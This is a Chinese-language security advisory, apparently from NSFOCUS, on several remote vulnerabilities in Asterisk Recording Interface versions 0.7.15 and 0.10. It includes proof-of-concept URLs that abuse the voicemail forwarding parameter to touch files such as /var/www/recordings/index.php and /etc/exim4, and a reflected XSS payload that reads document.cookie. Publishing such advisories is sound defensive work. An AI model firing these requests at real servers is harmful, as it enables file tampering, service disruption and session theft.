安全研究

安全漏洞
Asterisk Recording Interface多个远程安全漏洞

发布日期:2010-07-15
更新日期:2010-07-16

受影响系统:
Dan Littlejohn Asterisk Recording Interface 0.7.15
Dan Littlejohn Asterisk Recording Interface 0.10
描述:
BUGTRAQ  ID: 41571

Asterisk Recording Interface(ARI)是Asterisk PBX软件包的web界面,允许分机用户执行登录、下载、删除语音邮件等各种操作。

ARI的多个页面没有正确地过滤用户所提交的输入参数,远程攻击者可以通过向voicemail.module模块提交恶意参数请求窃取敏感信息、导致拒绝服务,或利用page.ampusers.php脚本执行跨站请求伪造攻击,或向recording_popup.php脚本提交恶意请求执行反射式跨站脚本攻击。

<*来源:TurboBorland (tborland1@gmail.com
  
  链接:http://marc.info/?l=full-disclosure&m=127896702525844&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=/var/www/recordings/index.php
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F4949&selected7=/var/www/recordings/index.php
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/var/www/recordings/index.php
http://10.10.10.10/recordings/index.php?m=Voicemail&f=msgAction&a=forward_to&q=&folder=&start=0&span=15&order=calldate&sort=desc&folder_rx=&mailbox_rx=houston%2F2627&selected7=/etc/exim4http://10.10.10.10/recordings/index.php?m=voicemail&f=display&q[]=&order=calldate&sort=asc
http://10.10.10.10/recordings/misc/recording_popup.php?recording=whatever&date=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

建议:
厂商补丁:

Dan Littlejohn
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.littlejohnconsulting.com/?q=node/11

浏览次数:2370
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障